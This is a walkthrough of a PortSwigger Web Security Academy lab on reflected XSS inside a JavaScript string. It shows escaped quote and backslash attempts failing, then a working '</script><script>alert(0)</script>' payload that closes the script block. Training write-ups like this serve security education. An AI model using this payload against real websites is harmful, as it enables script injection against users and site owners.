Skip to content

Reflected XSS JS string single quote backslash escaped

Field Value
Platform PortSwigger Web Security Academy
Difficulty Practitioner
Vulnerability Reflected XSS — Breaking Out of a JavaScript String with Escaped Quotes and Backslashes
Injection Point JavaScript string inside <script> block
Goal Execute alert(0) by escaping the JS string context

Lab — Reflected XSS: Breaking Out of a JavaScript String with Escaped Quotes and Backslashes

Solution Walkthrough

Searching for teto reveals the injection point — our input lands inside a JavaScript string:

<script>
    var searchTerms = 'teto';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

Step 1 — Try breaking out with a single quote

teto'; var miku = 'miku
var searchTerms = 'teto\'; var miku = \'miku';
Screenshot

The application escapes our ' with a backslash — turning ' into \'. The quote is neutralized and remains inside the string.

Step 2 — Try escaping the backslash

teto\'
var searchTerms = 'teto\\\'';
Screenshot

The application escapes both the \ and the ' — our \ becomes \\ and the ' becomes \'. We cannot break out of the string this way regardless of how many backslashes we prepend.

Step 3 — Pivot: inject a closing script tag

Since single quote escaping is robust, try injecting </script> — the key insight here:

</script><script>alert(0)</script>
<script>
    var searchTerms = '</script>
<script>alert(0)</script>
Screenshot
Screenshot

Alert fires and the lab is solved :P